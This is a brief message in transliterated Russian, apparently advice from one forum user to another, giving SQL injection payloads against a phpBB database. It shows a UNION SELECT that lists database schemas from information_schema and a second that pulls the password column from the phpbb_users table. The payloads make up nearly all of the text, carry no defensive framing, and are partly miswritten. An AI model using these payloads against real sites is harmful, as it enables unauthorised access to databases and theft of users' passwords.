pervoe posmotri u tebya kakie bd (schema_name)
select+1,2,3,4,5,schema_name,7+from+information_sc hema.schemata
a potom posmotri table_name=>phpBB_users v kakoy bd ? naprimer imya bd test..i zapros budet..
select+1,2,3,4,5,password,7+from+phpbb_users.test